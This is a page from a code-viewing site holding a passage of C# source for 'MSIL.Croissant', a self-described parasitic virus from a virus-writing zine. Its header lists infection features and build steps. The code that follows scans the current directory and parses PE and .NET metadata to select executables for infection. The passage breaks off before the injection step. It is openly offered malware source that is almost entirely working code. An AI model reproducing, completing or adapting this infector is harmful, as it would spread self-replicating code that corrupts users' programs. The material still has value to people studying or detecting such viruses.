?? 29a-7.002
字號:
/*
MSIL.Croissant by roy g biv (better than any Donut ;) )
some of its features:
- parasitic direct action infector of .NET exe (but not looking at suffix)
- light platform dependence (works on 32-bit and 64-bit Intel, untested on big-endian)
- infects files in current directory
- EPO (appends to random method)
- section attributes are not altered
- no infect files with data outside of image (eg self-extractors)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
---
C++ compatibility:
No major changes, but requires disabling (somehow) of native code generation
JScript compatibility:
No major changes, but requires support for #US stream
This means check for #US stream, calculation of ustringsdelta, and change to binder file
VBScript compatibility:
Major changes - complete rewrite
---
known bugs: no exception handling because EH structures are not copied to host
This means that replicants will crash if anything goes wrong (eg file in use)
---
to build this thing:
1. csc croissnt.cs
2. ildasm -out:croissnt.il croissnt.exe
3. in croissnt.il, replace all "loca.s" with "loca" (force use of long indexes for variables)
4. in croissnt.il, replace all "loc.s" with "loc" (force use of long indexes for variables)
5. in croissnt.il, replace all "loc." with "loc " (force use of long indexes for variables)
6. ilasm croissnt.il
7. if any branch is out of range, then remove ".s" from branch, then repeat step 6
8. bind
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
class r
{
static void Main()
{
/* no Unicode strings allowed, so create a string object dynamically
demo version, current directory only
*/
String[] files = Directory.GetFiles(Convert.ToString(Convert.ToChar(0x2e)));
foreach (String filename in files)
{
DateTime lastwrite;
/* check for infection marker (seconds == 0) */
if ((lastwrite = File.GetLastWriteTime(filename)).Second != 0)
{
FileAttributes attr = File.GetAttributes(filename);
File.SetAttributes(filename, 0);
FileStream fs = File.Open(filename, FileMode.Open);
Byte[] buff;
fs.Read(buff = new Byte[0xfc], 0, 0x40);
if (BitConverter.ToInt16(buff, 0) == 0x5a4d)
{
Int32 lfanew;
/* the only 32-bit dependencies are filesize (must be < 2Gb) and image base (must be < 4Gb) */
fs.Seek(lfanew = BitConverter.ToInt32(buff, 0x3c), 0); /* 0 == SeekOrigin.Begin */
fs.Read(buff, 0, 0xfc);
/* PE file
Intel 386+ or IA64 (64-bit? yeah baby yeah!)
not a system file, not for UP systems, not a DLL
"32-bit" executable
GUI or CUI
not a WDM driver
no attribute certificates
MSIL file
*/
Int32 rva;
if ((BitConverter.ToInt32(buff, 0) == 0x00004550)
&& (((rva = BitConverter.ToInt16(buff, 4) - 0x14c) == 0)
|| (rva == 0xb4)
)
&& ((buff[0x17] & 0x70) == 0)
&& ((BitConverter.ToInt16(buff, 0x16) & 0x102) == 0x102)
&& ((BitConverter.ToInt16(buff, 0x5c) & -2) == 2)
&& ((buff[0x5f] & 0x20) == 0)
&& (BitConverter.ToInt32(buff, (rva &= 0x10) + 0x98) == 0)
&& ((rva = BitConverter.ToInt32(buff, rva + 0xe8)) != 0)
)
{
/* read entire section table */
fs.Seek(BitConverter.ToInt16(buff, 0x14) - 0xe4, SeekOrigin.Current);
Int32 sectsize;
Byte[] sect = new Byte[(UInt32) (sectsize = BitConverter.ToInt16(buff, 6) * 0x28)];
fs.Read(sect, 0, sectsize);
/* copy last section to fixed location */
Int32 lastsect = (Int32) (fs.Seek(-0x20, SeekOrigin.Current));
fs.Read(buff, 0, 0x20);
/* read-only last section (because .NET code will not run in writeable section),
and no appended bytes
*/
if (((buff[0x1f] & 0x80) == 0)
&& ((BitConverter.ToInt32(buff, 8) + BitConverter.ToInt32(buff, 0x0c)) == (Int32) (fs.Length))
)
{
Int32 sectcopy = sectsize, raw;
/* no subroutines allowed, so inline rvatoraw() */
do {} while ((raw = BitConverter.ToInt32(sect, (sectcopy -= 0x28) + 0x0c)) > rva);
Int32 rootptroff = (Int32) (fs.Seek(rva - raw + BitConverter.ToInt32(sect, sectcopy + 0x14) + 8, 0)); /* 0 == SeekOrigin.Begin */
/* get host Metadata root RVA and size */
fs.Read(buff, 0xa0, 0x30);
/* check for no StrongNameSignature
or VTableFixups (because we will move a method)
*/
if ((BitConverter.ToInt32(buff, 0xbc) | BitConverter.ToInt32(buff, 0xcc)) == 0)
{
Int64 valid;
rva = (Int32) (valid = BitConverter.ToInt64(buff, 0xa0));
sectcopy = sectsize;
do {} while ((raw = BitConverter.ToInt32(sect, (sectcopy -= 0x28) + 0x0c)) > rva);
/* read host Metadata root header */
Int32 rootoff = (Int32) (fs.Seek(rva - raw + BitConverter.ToInt32(sect, sectcopy + 0x14), 0)), rootsize = (Int32) (valid >> 0x20); /* 0 == SeekOrigin.Begin */
Byte[] rootold;
fs.Read(rootold = new Byte[(UInt32) (rootsize)], 0, rootsize);
/* check signature and version, to be certain */
if (BitConverter.ToInt64(rootold, 0) == 0x00010001424a5342) /* BJSB, v1.1 only */
{
Int32 strbase;
Int16 streams, strcpy;
Int32[] basearr = new Int32[(UInt32) ((streams = strcpy = BitConverter.ToInt16(rootold, (strbase = BitConverter.ToInt32(rootold, 0x0c) + 0x14) - 2)) + 1) * 3];
/* skip any extra data */
if ((rootold[strbase - 4] & 1) != 0) /* 1 == STGHDR_EXTRADATA */
{
strbase += BitConverter.ToInt32(rootold, strbase) + 4;
}
Byte heapsizes = 0;
Int32 baseind = 0, schemaind = 0, stringsind = 0, blobind = 0;
do
{
basearr[baseind + 0] = strbase;
basearr[baseind + 1] = BitConverter.ToInt32(rootold, strbase);
basearr[baseind + 2] = BitConverter.ToInt32(rootold, strbase + 4);
/* check if #~ stream (can be any order) */
if (((raw = BitConverter.ToInt32(rootold, strbase += 8)) & 0x00ffffff) == 0x00007e23)
{
/* must have 16-bit heapsizes,
and AssemblyRefs, Assemblys, StandAloneSigs, MemberRefs, Methods, TypeRefs
Int64 class does not support & operator
and not worth finding how to implement it
so we use two reads for the 36 bits that we need
*/
if ((((heapsizes = rootold[basearr[baseind + 1] + 6]) & 7) != 0) /* 7 == HEAP_BLOB_4 | HEAP_GUID_4 | HEAP_STRING_4 */
|| ((BitConverter.ToInt32(rootold, rva = basearr[baseind + 1] + 8) & 0x00020442) != 0x00020442) /* 20442 == StandAloneSigs | MemberRefs | Methods | TypeRefs */
|| ((rootold[rva + 4] & 0x09) != 0x09) /* 9 == AssemblyRefs | Assemblys */
)
{
break;
}
schemaind = baseind + 1;
}
/* check if #Strings stream */
else if (((rva = BitConverter.ToInt32(rootold, strbase + 4)) == 0x73676e69)
&& (raw == 0x72745323)
&& (rootold[strbase + 8] == 0)
)
{
/* check that combined #Strings stream < 64kb */
/* variable 0: size of our #Strings stream */
if ((basearr[baseind + 2] + 0x00626772) > 0xffff)
{
break;
}
stringsind = baseind + 1;
}
/* check if #Blob stream */
else if ((raw == 0x6f6c4223)
&& ((Int16) (rva) == 0x0062)
)
{
blobind = baseind + 1;
}
/* find end of stream name */
do {} while (rootold[strbase++] != 0);
strbase = (strbase + 3) & -4;
baseind += 3;
}
while (--streams != 0);
/* skip persisted dword, if present */
strbase += ((heapsizes >> 4) & 4);
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -